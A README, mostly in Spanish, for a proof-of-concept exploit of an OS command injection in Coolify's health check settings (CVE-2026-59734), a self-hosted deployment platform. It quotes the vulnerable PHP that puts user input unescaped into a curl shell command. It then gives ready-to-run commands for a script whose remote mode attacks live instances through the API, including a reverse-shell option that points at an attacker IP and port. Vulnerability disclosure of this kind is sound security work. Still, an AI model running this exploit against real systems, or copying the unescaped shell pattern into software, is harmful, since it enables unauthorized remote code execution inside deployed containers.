
Inyección de comandos del SO en verificación de estado → Ejecución remota de código
Exploit de Prueba de Concepto para la inyección de comandos del SO en la configuración de health check de Coolify.
Cualquier usuario autenticado podía ejecutar comandos arbitrarios dentro de los contenedores desplegados.
Coolify es una popular plataforma de despliegue autogestionada y de código abierto (más de 30K estrellas en GitHub), una alternativa gratuita a Heroku, Vercel y Netlify.
Se descubrió una vulnerabilidad crítica de Inyección de Comandos del Sistema Operativo en la configuración de health check de Coolify. Los parámetros health_check_host, health_check_method y health_check_path se interpolan directamente en comandos de shell sin ninguna sanitización, lo que permite a cualquier usuario autenticado ejecutar comandos arbitrarios dentro de los contenedores de despliegue.
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Type │ OS Command Injection (CWE-78) │
│ Severity │ HIGH — CVSS 8.8 │
│ Attack Vector │ Network (Authenticated) │
│ Affected │ Coolify <= v4.0.0-beta.460 │
│ Fixed In │ Coolify >= v4.0.0-beta.469 │
│ Fix Commit │ 23f9156c7 │
│ Reporter │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Este script de PoC valida y explota CVE-2026-59734 con dos modos:
| Modo | Descripción | Riesgo |
|---|---|---|
--local | Simula el patrón de código vulnerable sin conexión. Sin solicitudes de red. Prueba los 3 parámetros inyectables + verifica la corrección. | ✅ Seguro |
--remote | Explota una instancia real de Coolify a través de la API. Inyecta un payload en la configuración de health check y desencadena el despliegue. | ⚠️ Autenticación requerida |
host, method, path + confirma que la corrección de escapeshellarg() funciona--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local
Expected Output:
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Usage:
Local Validation (safe, offline):
./coolify_healthcheck_rce_poc.sh --local
Remote Exploit (requires auth):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]
Options:
--url Coolify instance URL (e.g. https://coolify.example.com)
--token API Bearer token
--uuid Target application UUID
--payload Custom injection payload
--lhost Attacker IP for reverse shell
--lport Attacker port for reverse shell (default: 4444)
--cleanup Restore original config after exploit
Token de API:
UUID de la Aplicación:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
Escribí una publicación detallada en un blog explicando todo el descubrimiento, explotación y lecciones aprendidas:
🔗 Cómo Encontré una Inyección de Comandos del SO (RCE) en Coolify — Medium
Mira la demostración completa de explotación en YouTube:
🔗 CVE-2026-59734 — Demo de RCE en Coolify — YouTube